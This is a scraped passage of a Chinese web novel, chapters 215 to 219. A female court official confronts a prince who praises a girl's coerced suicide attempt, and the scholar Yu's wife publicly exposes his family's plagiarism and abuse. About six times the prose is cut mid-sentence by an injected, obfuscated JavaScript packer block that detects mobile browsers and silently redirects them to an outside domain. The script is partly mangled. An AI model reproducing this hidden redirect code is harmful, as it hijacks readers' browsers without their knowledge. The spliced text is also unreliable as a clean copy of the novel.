“这么宽一条路,你往哪儿走不好,非得朝本官身上撞。退一步说,在宫中不可疾行,你这是明知故犯,藐视皇威?” 这下那官员是真害怕了。他只是看不惯应九阙身为女子却能身居高位,甚至踩在自己头上,想找个事儿罢了。本来想着自己若是主动道歉,众目睽睽之下应九阙也不好对他做什么。没想到不过被逮住了个语病,竟然能上升到藐视皇威的地步,给他一百个胆子,他也不敢藐视皇威啊! “下官知错!下官日后定谨言慎行,不敢再出差错。” 九阙冷冷的盯着对面这官儿,犀利的视线几乎要刺破对方的脸皮,直把对方盯的无地自容,头皮发麻,才轻轻抬了抬下巴。 对方顿时屁滚尿流的跑了。周围那些原本还想看热闹的官员见状,看天看地就是不看九阙,装模作样的走了。 九阙冷笑一声想离开,没想到这时候还有敢往上撞的勇士,不是别人,正是二皇子殿下。 二皇子直接叫应九阙的大名。要知道在官场之上亲近些的会称呼对方的字,就算彼此之间政见不合也会称一声大人。大庭广众之下叫对方的大名,尤其九阙还是个女子,这行为确实有失体统,几个路过的大臣们忍不住皱了皱眉,二皇子怎可在大殿前大呼小叫? 本来想赶紧把自己的活儿做完,早点儿下朝回家,没想到来找事儿的还真是一波接着一波。这些人到底是怎么了?还是他今儿个流年不顺? “二殿下。” 虽说心里不满,但按照礼制,九阙还是朝对方行了个礼。 然而二皇子有意磋磨九阙,愣是好半晌都没叫起身,九阙只能保持弯腰的动作。好在她年轻力壮,只是这一时半会儿的倒是对身子无碍。只不过周围看到这一幕的官员都忍不住蹙了蹙眉。如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846396|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说文武百官有许多都投靠二皇子,试图来个从龙之功,但那些正三品往上的官员一直按兵不动。能走到他们这个位置的向来十分惜命。 如今陛下春秋正盛,何必早早就投靠了新主子,提心吊胆的干活?还不如老老实实做自己应该做的,这种皇位更迭之事还是交给陛下操心去吧。 这二皇子平日里表现的温和守礼,没想到当着这么多人的面就对朝臣这般高傲。虽说应九阙是个女官,但如今也是他们朝廷官员。而且还是有功之臣,这才过去几天,二皇子就当着这么多人的面给她难堪了?未免太没城府了些。 “起来吧!本来还想着应大人应该有些为难,不过如今瞧着,你适应良好呀!哦不,该说一句如鱼得水吗?” “多谢殿下夸奖。” “我……” 我才没夸你,好厚的脸皮! 二皇子及时止住后半句话,勉强稳定了一下心绪。然后似笑非笑的瞟着应九阙,那种眼神不像在看下属,倒像在看一个可有可无的玩意儿摆件儿。 他还从来没有见过这般厚颜无耻的女子,不过好在如今京城有了一位出众的可以当做典范的女子出现。他倒要看看,有珠玉在前,应九阙这样的女人还能稳得住心神吗? “应大人,你事务繁忙,大概是不知道。咱们京城如今出现了位可以上《女诫》的贞烈女子,本皇子正想奏请陛下为她颁一座贞洁牌坊。应大人同为女子,有这样的典范在前,应该多向于家女学习才是。” “嘶!” 周围那些故意放慢脚步的官员们听到这话都忍不住倒抽了口凉气,有些担忧的看着二皇子。 二殿下,你大概不太清楚,这位应大人那可是天生神力,前几日还把几个出言无状的学子当果子一样在空中抛来抛去的玩儿。您这小身板儿,还是不要故意出言刺激她为好。虽说应大人大概不敢在宫中对当朝皇子动手。但您要是太过分,谁也不敢确保啊。 第二百一十五章 真是可惜 于家女?莫不是前几日听说的那位于大儒的孙女儿?那个女子似乎才十八岁吧?难道就因为自己男人死了就要学她娘一般自杀殉节吗? 而且这二皇子还要弄什么贞洁牌坊,这脑子是有坑吧?!现在大景好不容易喘口气儿,不赶紧鼓励支持生育也就罢了。还弄什么贞洁牌坊?当然,规定男女超出一定岁数不成亲就要缴纳赋税,这也不是个好法子。如果让适龄男女手中有钱,有工作,风气自由,生活稳定,自然而然就会有成亲的念头。当然这也不排除有一部分单身人士,但这都是正常之事。世界上这么多人,不可能每个人的选择都一样。 话题扯远了,二皇子到底想干什么?踩着女子彰显自己的名声,这样就满足了吗?出身皇家,父皇还如此宠爱,不更应该做一番属于自己的事业吗?外头的天地如此广阔,非得把目光聚集在女子身上是吧?世上多的是人想要有一个证明自己的机会都得不到呢,这二皇子有这么好的出身条件,非得做这种吃力不讨好的事情。这还真是脑子有坑。 听说二皇子身边有许多幕僚啊。为何那些幕僚都没能给他出个好主意呢? 见九阙不吭声,二皇子没能得到想要的反应,心里还有些不得劲儿,干脆挑明了说。 “那于家女本想自杀殉节,不过被家人发现,救了一命。唉,确实有些可惜。不过于老夫人一片爱孙心切,也是可以理解的。” “!” 九阙真是想不明白了,二皇子跟女人是有仇吗?他难道不是女人生的?人家好不容易救回一条命,他反而倒觉得惋惜了,非得让于家女死了不成? 当真是可恨的很。 “二殿下这是在惋惜于家女没死成吗?” 二皇子没想到应九阙会直截了当的问,猝不及防之下竟说出了真心话。 “她若是死了,这贞洁牌坊岂不是给的更名正言顺?” 九阙狠狠的吐出一口粗气。 “殿下慎言,殿下身为皇子,金口玉言。更应对自己说出口的话负责才是。您这样轻飘飘一句话,决定的可是一个女子的一生。那于家女子也是人生父母养,是活生生的一条人命。人不能,至少不该!” “你?!你竟敢这么对我说话!你还知道我是谁吗?” “微臣当然知道殿下的身份,殿下是陛下的儿子。微臣更知晓,身为臣子,理应直言上谏。殿下犯了错,身为臣子,自然要纠正。” 听到这些,二皇子简直要气炸。但他好好想了想,还是不能当着文武百官的面跟应九阙翻脸。只能恨恨的咬牙。他这辈子就没见过像应九阙这样油盐不进的女人,这还是个女人吗?! “应大人生了好一副伶牙俐齿。可是不知日后谁有这个福气娶应大人过门。” “这就无需二殿下担忧了,微臣嫁给谁,嫁不嫁,都由微臣自己说了算。” “你!不识好歹!” 二皇子终于忍受不了九阙的屡次反驳,甩袖离去!九阙虽然得到了阶段性胜利,但他心里并不开心,他还在想那位于家的女孩儿。 那姑娘和如今的自己差不多年纪,当真不想活了吗? 而此刻,于家也陷入了一场前所未有的混乱。 前来看病的回春堂大夫费尽九牛二虎之力才将这姑娘救回来,擦了擦额角的汗珠,心中也为救了一条人命感到高兴。 旁边一直随行的于大儒,此刻也焦急万分。 “敢问大夫,我这外孙女儿怎么样了?” “于先生莫慌。虽说府上小姐喉骨受创暂时不能说话,但好在发现的及时,只需好生调养,并无性命之忧。” “如此……那就多谢大夫了,日后也请大夫多多费心,这可是我女儿唯一的一根独苗……” “于先生放心,老朽晓得。” 将回春堂的大夫送走,于大儒看了一眼躺在床上昏迷不醒的外孙女儿,皱了皱眉,转身离开。 跟在他身后的于大郎面容也有些焦虑,等到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846397|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书房之后,于大郎忍不住开口。 “父亲,蔓姐儿竟然没事,那我们给二皇子的投名状?要不也如当初妹妹那般……” “横竖她贞烈的名声已经传出去,就算活着对我们的计划也没什么影响。如今最重要的,是不要让任何人打扰我两日后的清谈会。” 这可是二皇子特意给他准备的机会,能否名扬天下,门生遍布大景,就看两日后了。想他也算寒窗苦读几十年,虽说于家在江东也算门阀世家,可怎能与京都世家大族相比?更遑论与皇家相比。他这一生一直都在为这个机会做准备,没想到竟能靠着蔓姐儿与当今二皇子搭上线。这也算是那个孩子的造化了。 “只是可惜,那座贞洁牌坊没能等到。若是能得到整个大景第一座贞节牌坊,咱们于家的门楣就更加光耀了!可惜当初妹妹去的时候,没能弄一座贞洁牌坊,否则哪还用的着殚精竭虑?” 于大儒也感慨的点了点头,深感遗憾。不过事已至此,他们如今要做的,还是如何办好两日后的清谈会,届时整个京都乃至大景各地的文人墨客都会前往。若是能在清谈会上一鸣惊人,说不定他还能青史留名。比窝在江东那小地方当一辈子书院院长强 的多。 父子两个正在低声谋划,完全没注意窗外一闪而过的身着儒裙的身影。 两日后。 这场由于大儒亲自举办,二皇子牵线的清谈会吸引了天下文人的注意,因为早早就宣告的缘故,这几日京城来了许多各地的学子文人。连京城这座庄严肃穆的城市也多了几分文气。 九阙上下朝路上都能遇到许多拦着官员车马轿子自荐的文人墨客,不得不感慨这些文人学子的勇气耐心。不过话说回来,倒是没人敢拦九阙的马车。当然了,或许是这些清高的文人不屑于和九阙一个女官打交道。不过其中也有例外,就比如今儿个遇上的这位,当着大街上来来往往那么多人的面,直接就扑通一下跪到她马车前,双手将行卷举过头顶,那叫一个虔诚! 第二百一十六章 自荐枕席 这人长得也算是文质彬彬,一表人才,看上去也就二十岁左右。这会儿当着满大街百姓的面,扑通一声跪在那里,脸上已经通红,却还是鼓足了勇气开口。 “应大人,学生有行卷献上,还请一观。” 九阙本来是没兴趣的,但看前面儿跪在地上这人拼出脸面不要也想得到一个被人赏识的机会,想了想,还是让车夫停下,隔着窗子接了那文人的行卷。 她的文采当然比不上经过重重厮杀冲出重围的进士,但文章的好坏还是能看出来的,只是当他看过去的第一眼,整个人都愣住了,这行卷上面写的并不是文采斐然的文章,而是一个年轻人的家庭情况。 而且看这情况,写的不是旁人,正是面前是跪在地上的年轻学子,此刻那学子颤颤微微的抬起点,刚好让自己那张俊俏的脸蛋儿呈现出最好看的角度。 九阙:…… 这是另一种程度的自我推荐吗?这不是自荐枕席吗? “你知道上面写的是什么吗?如果我没看错的话,这上面写的人应该是你吧?你也是个举人,经过会试殿试也能成当朝进士,说不定还能入翰林。为何要做这种事?你是心甘情愿的吗?” 那学子显然羞耻至极,脸上一片通红,却还是强撑着开口。 “在下知晓。但在下仰慕应大人风采,担心若是在下殿试期间大人已然寻得良婿,到时候就晚了。若是大人不嫌弃在下,还请给我一个机会。” 如果不是碍于位置不合适,九阙真的很想看看面前这人是不是发烧了。难道她好日子过到头非得找个人嫁了才符合现在的人生观? 满朝文武以及天下人能不能放过她,她真的不想成亲!自己一个人逍遥自在的,有官位,有爵位,有宅子,有钱,还有崽子。她的人生已经圆满了好吗?为什么非得给自己找不自在? 原本还以为面前这学子敢率先给她行卷,是个敢为人先的好苗子,原来只是自荐枕席啊。虽说面前这人掩饰的很好,但九阙这段时间见过的人和事数都数不清,眼中那一丝丝野心,还是叫她看了个清清楚楚。 “你回去吧,本官如今并不考虑这件事。” 当着这么多人的面,九阙还是想给这人一个遮羞的机会。扔下这句话之后九阙就想离开,可那男人并不这么想,他连忙上前一步抓住这辆马车的车窗框子,再三表明忠心。 “应大人,应伯爵!我如今已经是举人,很快就能成为进士,我的身份学识并不辱没你。应大人为何不试一试呢?有些事情不尝试永远不会知道其中美妙。琴瑟和鸣,夫唱妇随有何不好?更何况在下并不介意大人在朝中为官。大人还能找到像我一样的男人吗?” “……” 九阙本来还想反驳一下,但她这会儿真是恶心的很。这世道,什么猫猫狗狗都能到她面前撒野了是吧?用这种高高在上的态度说话,是在施舍自己吗?当真可笑。 她用得着别人施舍吗?看来如今的自己在世人面前就是一块香饽饽,谁都想咬上一口,却没人问过这香饽饽的主人愿不愿意被别人咬一口。 直接将那张纸甩在地上那人的脸上,九阙冷笑一声,干脆从马车中走出。 阳光下,她身上官服的刺绣简直在熠熠生辉,同时也强烈刺激着地上跪着那人的心。握紧了拳头,更是坚定的要往上爬的想法。他和那些普通的读书人可不一样,那些读书人简直恨不得把应九阙从中书舍人伯爵的位置上拽下来,再踩上一万只脚。在他看来,那些文人学子简直可笑。将应九阙扯下来又有什么好处?还不如与她成亲,成亲之后应九阙的所有权力不都是丈夫的吗? 就算他一步一个脚印,紧接着会试殿试,若是侥幸能名列二甲还算有份出路。若是不幸沦为同进士,那此生的官途就到此为止了。若是能赶在电视之前与应九阙成亲,以当今陛下对应九阙的宠信程度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846398|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他岂不是可以名列一甲,进士及第? 至于应九阙和陛下之间的桃色消息,他并不介意。大不了成亲之后不让应九阙有孕,自己再纳个温顺老实,年轻貌美的妾室绵延子嗣也就是了。人生在世哪儿能十全十美呢?总得付出点儿什么吧。 为了前途远大,他愿意付出这点儿代价。 这段时间天下那么多人对应九阙攻讦不满,他就不信应九阙心中会没有一点儿触动,在这种危机关头,自己这个年轻俊才愿意与她成亲,应九阙表面上不说,心里已经乐开花了吧? 至于把行卷扔给自己的举措,无非是为了表达一下身为女子的娇羞。没关系,他愿意承受。只不过成亲之后就不能在自己面前摆出上官的架势了。 就在面前这人想入非非的时候,九阙已经来到他面前,黑色的官靴踏过地上的泥土,鞋面上干净整洁的几乎一尘不染。那人这才察觉到自己依旧是跪在地上的姿势。周围已经围满了看热闹的人,他这会儿脸上火辣辣的,跪也不是,起来也不是,毕竟应九阙并没有让他起来。 “本官本来以为,你当街拦车是为了展现自己的才华,让本官给你一个上进的机会,没想到你这上进的不是地方呀,自荐枕席?说句实在话,就本官见过的人而言,你的容貌才情,远远排不上前一 百。凭着你这点儿长处就想做本官的面首,是不是差了点儿?” “嗡!” 周围百姓顿时炸开了锅,这么劲爆吗?年轻才子当街拦车,竟然是为了求上官给他一个自荐枕席的机会!而且还不是正正经经的结亲,是想做人家的面首! 天啊,看不出来啊,这年轻才子看上去斯文俊秀,实际上这么狂野的吗? 周围的种种议论声,让地上跪着的学子整个人都要裂开!他完全没想到应九阙竟然会当着这么多人的面把这种难以启齿的事说的如此光明正大!她难道就不怕别人背后非议吗? 第二百一十七章 微山大家 此刻那个年轻学子已经彻底破防,脸上的表情那叫一个难看。见对方连自己一句话都经不住,九阙已经完全对他丧失了兴趣,抬脚上了马车,接着朝清谈会的方向赶去。日后随着自己越升越高,像这样的人只会越来越多,不值得她浪费时间。 片刻过后,马车已然到了清谈会,远远的就看见围的老多的人群,以往围着看热闹的人里大多都是这些平民百姓,哪像今日有这么多身穿文人服饰的学子。 像九雀这般乘坐马车过来的人还有很多,里面竟然有相当一部分官员,只不过这些马车都停在隐蔽处,并没有露面。看来这位于大儒的号召能力还真不弱,当然也有可能是因为有二皇子在其中牵线搭桥的缘故。 这清谈会举办的地方已经建起了一座高台。九阙来的时间刚刚好,马车刚停稳,就看到一位六十多岁的老人步履稳健的走上高台,他身穿一身白色文士服,头发胡子都已经花白。看面相悲天悯人,颇有一副圣人之相。 当那位于大儒上台之际,底下围观的文人雅士已然爆发出一阵欢呼,那个于大儒脸上露出个笑容,然后朝着人群挥了挥手。紧接着人群很快安静下来,于大儒开始了自己的讲学。说句实在话,九阙对这些学问不是很懂,只能感觉出这位大儒口若悬河,滔滔不绝,思路清晰,听的下面那些文人雅士如痴如醉。 整整过了小半个时辰,那位大儒才停下,接下来就是底下围观的那些文人雅士上台提出自己疑问的时间了。 底下这些围观之人似乎对于大儒敬仰颇深,这会儿一个接一个上台提出了自己的疑问。那位大儒显然功底颇深,没有一个问题拦得住他,几次三番下来收获了下方围观众人更多的敬佩。就连九阙都忍不住点了点头。这时候淳于霜也带着百衣淳赶到,上了九阙的马车,忍不住赞叹。 百衣淳前些日子忙着整理进贡货物,并没有与他们相聚,今日倒是终于有时间过来了。 “虽然我对学问一窍不通,但也能听出来,上面讲学的那个老头儿还真挺厉害,刚刚一路走来,路过的那些文人学子口中赞叹不绝。” “确实,我也听到了很多。听说这位于大儒也算命运多舛。中年丧女,前几日又险些没了自己唯一的外孙女儿,这种情况下依旧能重整旗鼓,振奋精神,表现的尽善尽美,当真不错。” 比起百衣淳单纯的赞叹,淳于说出的话带了一丝别样的意味。 九阙闻言勾了勾嘴角。 “这人的学问确实不错。” 至于其他的,九阙就不加以评价了,毕竟她对这人也不算很了解。 随着时间的流逝,上台的人越来越少,这场清谈会看起来能完美结束了。只是就在这时,九阙眼角的余光注意到一辆快速驶来的马车。那辆马车刚好停在自家马车的旁边,所以九阙看的清楚,从里面艰难走下了步履蹒跚的一老一少。 那位年纪轻的看上去也就十八九岁。就是这么年轻的岁数,身子却虚弱的厉害,脖子上也严严实实的围了一条丝帕。至于那位年纪大些的老婆婆,气势威严,头上插着一只乌木簪子,强行制止了年轻女子想要下马车的举动。 九阙本来不认识这位老者,但随着她直勾勾朝着高台走去的动作,周围越来越多的文人学子认出了这位气势斐然的老婆婆。 “这不是于大儒的妻子,微山大家吗?听说她的书画皆是一绝,与于大儒双宿双飞,琴瑟和鸣,是不可多得的恩爱夫妻。想来此次也是为了给于大儒助阵吧?” “我也听说过微山大家的名声。曾经有幸见过她画的沧海一粟图,那种孤绝的意境简直让人拍案叫绝。实在是出众……” “还有她的行书,行云流水,洒脱自然,又不失圆润,当真是今世书画大家。” “你们说这些有什么用?我看这位微山大家最出色的就是培养出了一位如此贞烈的女儿。当初,微山大家唯一的女儿在生下子嗣后不久就追随夫君而去了,这难道不值得赞扬?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846399|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这个……” 在一溜儿的夸赞声中突兀出现个不一样的声音,难免吸引了周围人的注意,只不过听完他说的话后,众人觉得好像有哪里不太对劲,有些奇怪。 难道微山大家的书画比不上教养出来一个贞烈的女儿? 但如今朝廷倡导女子贞烈秉性,若是反驳,好像与朝廷的初衷不符…… 这该怎么办呢?大家张了张嘴,也只能不再吭声。 微山大家就在这些人中穿行,自然听到了这些褒贬不一的议论,只不过她完全不在意,此时此刻她心中眼里只有那个站在高台上看见自己之后眉头微蹙的人,那是她相濡以沫了四十多年的丈夫。 她终于站在了高台之上。 人群之中有不少都很欣赏微山大家的书画,此刻见到她难免激动,发出了阵阵欢呼声。 于大儒微不可见的皱了皱眉,然后露出笑盈盈的模样。 “夫人,你怎么来了?不是说在家等我吗?你做的莲子羹当真美味,我现在都口干舌燥了……” 微山大家也露出个笑模样。 “别急,我给你做了四十多年的莲子羹,熟能生巧,等你回去之后就能吃上新 鲜热乎的莲子羹了。” “那夫人此次前来是……” “夫君宣扬新学说,不辞劳苦。做妻子的自然要前来帮忙。夫君既然已经疲累,不如就由我来代劳吧?” “我其实也不……” 微山大家此刻已经面朝下方汹涌的人群,她虽说已经年过半百,但身子骨硬朗的很,此刻提高了声音讲话,下面众人,包括九阙都听得清清楚楚。 “我想一定有人不认识我,老身李澄园,字微山,江东人士。” 下面有抑制不住的学子激动高喊。 “微山大家,我等都认识你。您的《沧海一粟图》当真卓绝不凡!还有《快慰贴》,字里行间流露出的欢喜愉悦叫人动容不已!” 第二百一十八章 揭发 “二十年前您所临摹的《王晴帖》更是叫人拍案叫绝!” “只是可惜微山大家近些年来为何没有作品出世?” “就是……” 下方朝着微山大家喊话的人越来越多,与此同时,于大儒的脸色也越来越僵硬。两人之间的儿子于大郎此刻瞧这架势不对,连忙上台想要把自己娘亲带下去。 同时还忍不住小声抱怨。 “娘,今儿个是爹的大日子,您突然出现做什么?但凡出点差错岂不是毁了爹准备许久的清谈会?您还是先下去吧,操持好家务不是比在外面抛头露面来的好?虽说您如今年纪大了,可在外边儿抛头露面到底影响不好,您别忘了家中几个孙女。若是没有良好的家风,她们日后怎么嫁人呢?” 微山大家侧头看着这个自己亲生的孩子,眼神有些恍惚。为什么明明都是自己亲生的孩子,孩子与孩子之间还会不一样? 她的女儿是那样的聪明伶俐,善解人意。可这个儿子打小就与自己不亲近,或者说他早就跟自己的父亲学会蔑视女子。在他眼里,自己哪是他的娘亲?更像是他的佣人,有用的时候就拿出来刷名声,没用的时候就只配在家里打理家事。 微山大家一直都是个脾气温和之人,更何况面前这个还是自己的亲生儿子。对他,微山愿意多给几分宽容。可是时至今日,她终于恍然大悟,这些许的宽容根本没被对方看在眼里,反而还让这逆子认为理所当然。压榨自己的亲生母亲亲妹妹,亲外甥女,甚至自己的亲闺女,对他来说都已经成了理所当然之事。 可这怎么能理所当然呢?这世上之人,生来分明都是平等的。 “你过来,靠近点儿,再近点儿。” 于大郎本来有些不耐,但当着这么多人的面,他也不好对自己的母亲露出不耐烦的神情,只能依言靠近了些。 只是下一刻微山就狠狠扇过去一个耳光!她用力实在太大,于大郎,直接被扇的踉跄几步,头晕耳鸣。 有那么一瞬间,于大郎还以为自己听不到了。等他反应过来的时候,脑海中只留下嗡嗡嗡的声音。 “你这个逆子!当真以为自己是个不世出的人才,可以对你亲生母亲不敬?!” “我,我哪有对你不敬?” 微山又给了他一耳光,直接打的对方说不出话来,这才气定神闲的当着众人的面开口。 “这些年,你在外头的名声你写的字画的画有哪一副是出名的?能流传天下的只有一篇《祭妹文稿》,可那是你写的吗?当着全天下学子的面,你敢承认那是你写的?若真是你写的,为何像那般文采的文稿你只写了一份儿?虽说有江郎才尽的嫌疑,可这天下当真会有人一辈子只写出来一篇流传天下的文稿?” “嗡!” 底下顿时闹翻了天,学子们讨论纷纷,几乎不敢相信自己的耳朵,他们刚刚听到了什么?难道于家大郎这些年的文名都是故意堆砌出来的? 这应该是真的吧?如果是假的,微山大家怎么会当着这么多人的面明目张胆的提出来?毕竟于大郎可是她的亲生儿子! 不过话说回来,既然那《祭妹文稿》不是于大郎写的,那是剽窃谁的?对文人来说,最厌恶的就是让别人捉刀或者剽窃别人的文采。尤其是像这样一篇能流传天下的文稿,那可是足够青史上留名的!这么重要的东西,谁会心甘情愿的给他?莫不是强取豪夺来的? 于大郎不可置信的看着自己的母亲,自己可是他的亲生儿子!她至于当着全天下学子的面揭发这件事儿吗?从今以后,他该怎么立足?他还能当个清清白白的文人吗? “诸位要是还记得的话,那篇《祭妹文稿》虽情感浓烈,可并不像是当兄长对妹妹的哀悼。我那苦命的女儿没的时候已经长大成人,文中对她的思念,音容相貌的想象,正是因为写这篇文章的人从未见过我女儿的脸。诸位之所以感到奇怪,是因为写这篇文章的,是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846400|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦命的外孙女!” “而这篇文章,正是于大郎从她手中骗过来的!” 这下简直戳了天大的窟窿,众人不敢相信自己的耳朵,只能一遍又一遍向身边的人求助。 “我刚刚没听错吧?微山大家亲自揭露于大郎的真面目?原来那名满天下的《祭妹文稿》不是他写的,是他从自己外甥女手里骗过来的。一个已经成年的男人,真好意思做这种坑蒙拐骗的事儿!” “不是,我都懵了。不是说于家的家教很好。连已故的女儿都是个贞洁烈女吗?不是说二皇子都对于家赞赏有加吗?” “谁知道那已经去世的于家女是不是心甘情愿自尽的!叫我说,当年的事儿确实疑点重重。有哪个当娘的会情愿抛下刚出生的女儿不管追随夫君而去的?那孩子可是当娘的,身上掉下来的一块肉。更何况夫君去世,当妻子的不更是应该将二人唯一的孩子抚养长大,看她成亲生子吗?” “你这么一说,我也觉得好像确实有点儿不对劲儿啊……等等,你们还记不记得那于家的外孙女儿,就是前些时日闹得沸沸扬扬自裁上吊,结果命大被救回来的那个?” “当然记得,二皇子不是还当着文武百官的面夸赞人家性情贞烈吗?” “你说那女子是不是自愿的?” “咱们在这儿猜这么多也没用啊,道听途说哪能比得上人家真真切切的人证物证?” 微山大家根本懒得理旁边儿不断拉扯的衣袖的儿子,只是转脸看着准备悄悄对自己下手的于大儒,露出个凉薄的笑容。 “我就知道你会对我下手,当着这么多人的面还想下黑手,确实有些可笑。姓于的,不会以为我忘了你吧?当初害死我亲闺女,前几日又险些勒死我唯一的外孙女儿!你这些年的名声都是踩在她们的尸骨血肉上得来的!被别人交口称赞的滋味怎么样?你有没有记得告诉大家,你是个为了向上爬,不惜用自己儿孙的性命做梯子的无耻小人?!” 第二百一十九章 死无对证 “轰!” 于大儒的脑袋几乎在一瞬间炸开,耳中只能听见一阵嗡鸣声。千防万防,她还是当着这么多人的面说出来了。早知道就该心狠些,把她锁在院子里不让其出门,也就不会有今日这一遭,偏偏赶在自己如此重视的清谈会上,偏偏当着这么多人的面,这是要把自己的脸面放在地上踩吗? 此时此刻,于大儒已经顾不得去看底下众人的反应,只能去不断拉扯不管不顾的微山大家,试图让她想起夫妻二人之间的情分。 “微山,你难道忘了我们夫妻二人可是相濡以沫了四十年啊,这么多年来,咱们夫妻之间的情分难道不深吗?你为什么要这么对我?你明知道今日的清谈会对我有多么重要,偏偏要来破坏。还当着这么多人的面说一些莫须有的东西,是要故意毁坏我的名声吗?” 旁边的于大郎也已经从震惊中反应过来,帮着拉扯自己的亲娘。 “是啊,娘,儿子知道您平日里有些疯症,没有及时关心您是儿子的过错,儿子这就去请京城名医为您诊治,您还是先回家去吧。” 顶上父子二人拉扯着微山大家,下面围观的人倒是看不下去了,微山大家年事已高,而且极为清瘦,哪能经得起两个成年男人这样拉扯? 尤其是那些崇拜微山大家的学子,这会儿忍不住高声疾呼。 “二位还是不要推搡微山大家了。若是有什么事,当着这么多人的面直接说清不好吗?” 刚才的话他们当然也听到了,自然为其中的内情感到震惊,本来他们是不相信的,但是这于家父子二人这般急迫想要将微山大家带走,难道说的都是真的? 于大儒拉扯自己妻子的手猛然一顿,意识到如果不当着众人的面把这话说清楚,日后定然会面对更多的质疑。他眼光微微一闪,苦笑着开口。 “诸位有所不知,自从我那小女儿为夫殉节之后,内人便精神萎靡。数十年下来不仅没有好转,反而有加重的趋向,再加上前些时日我那外孙女儿也出了事儿,幸好家人发现的及时救了下来。只不过这件事儿又刺激了内人,让她如今有些神志不清。我的女儿和外孙女儿都是我的子嗣后代,难道我会丧心病狂的对她们下手吗?血浓于水啊……” “是啊,我可以作证,当年妹妹殉节我们都感到很痛心,父亲更是三日滴水未进。若不是顾念着还有母亲要照顾,说不定父亲也要追随妹妹而去。娘!算是孩儿求您了,您给我们留条活路吧——” 于大郎直接跪了下来,狠狠的给微山大家磕了好几个响头,扬起脸来祈求的看着自己的亲娘。 微山大家低头看着自己如今唯一的儿子,眼神似有动容。看到她这般,于大郎面露喜色,连忙就要拉着自己母亲下去。只是下一刻脸上猛然传来火辣辣的剧痛叫他回过神来,微山大家竟是毫不犹豫狠狠扇了他几个耳光! “娘?” 于大郎不可置信的看着自己的亲娘,以往他这么做母亲都会有所收敛,今日这是怎么了?难道他不是母亲唯一的子嗣了吗? 而看着这样的儿子,微山大家心中只有失望。 “以往你就擅长这一招。用自己用于家人,用你那些子子孙孙的名声性命做威胁,叫我一再妥协,我已经很对不起我的薇儿!不能再对不起她的孩子!你早就已经长大!不再是个孩子!有自己的分辨能力,但你依旧选择助纣为虐,就不要怪我把这层遮羞布扯开!” 微山大家这些年来修身养性,强身健体,虽然清瘦,但有把子力气,这会儿一脚将碍事儿的于大郎踹开,面容冷肃的对着下方交头接耳,炸开了锅的人群开口。 “当年我的女儿正值青春年少却没了夫君,然而当时她正有孕,怎舍得将自己的孩子孤零零留在世上?在场若是有女子当母亲的,自然能理解我女儿当时的心情。当初,她历经九死一生才生下孩儿。分明是要将孩子抚养长大,也好为早亡的夫君留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846401|154902||http|test|mini|href|location''.split(''|''),0,{})); () { 